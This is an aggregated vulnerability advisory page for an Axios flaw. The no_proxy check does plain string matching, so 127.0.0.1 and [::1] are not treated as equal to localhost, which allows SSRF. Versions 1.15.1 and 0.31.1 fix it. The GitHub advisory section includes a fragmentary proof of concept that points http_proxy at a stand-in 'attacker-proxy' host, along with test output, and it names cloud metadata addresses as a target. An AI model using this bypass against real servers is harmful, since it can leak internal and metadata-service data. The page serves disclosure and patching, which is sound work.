Axios: no_proxy bypass via IP alias allows SSRF

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Source published

24 Apr 2026 17:57:26 UTC

Source modified

27 Apr 2026 13:46:32 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Source published

Apr 24, 2026, 5:57:26 PM (timezone not stated)

Source modified

Apr 27, 2026, 1:46:32 PM (timezone not stated)

Saved here

15 Nov 2026 14:50:18 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, he fix for no_proxy hostname normalization bypass is incomplete. When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. This vulnerability is fixed in 1.15.1 and 0.31.1.

Source published

24 Apr 2026 18:16:30 UTC

Source modified

11 Nov 2026 23:10:00 UTC

Saved here

12 Nov 2026 16:19:25 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 6.8 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

CVSS 3.1 · [email protected] · Primary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it. The shouldBypassProxy() function does pure string matching — it does not resolve IP aliases or loopback equivalents. As a result: - no_proxy=localhost does NOT block 127.0.0.1 or [::1] - no_proxy=127.0.0.1 does NOT block localhost or [::1] POC : process.env.no_proxy = 'localhost'; process.env.http_proxy = 'http://attacker-proxy:8888'; ```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >.... process.env.http_proxy = 'http://127.0.0.1:8888'; console.log('=== Test 1: localhost (should bypass proxy) ==='); try { await axios.get('http://localhost:7777/'); } catch(e) { console.log('Error:', e.message); } console.log(''); console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ==='); try { await axios.get('http://127.0.0.1:7777/'); } catch(e) { console.log('Error:', e.message); } fakeProxy.close(); internalServer.close(); }); }); EOF === Test 1: localhost (should bypass proxy) === ✅ Internal server hit directly (correct) === Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) === 🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/ 🚨 Host header: 127.0.0.1:7777. ``` <img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" /> Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data. Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.

Source published

5 May 2026 00:40:17 UTC

Source modified

10 Sep 2026 03:51:06 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

Publisher rating · MODERATE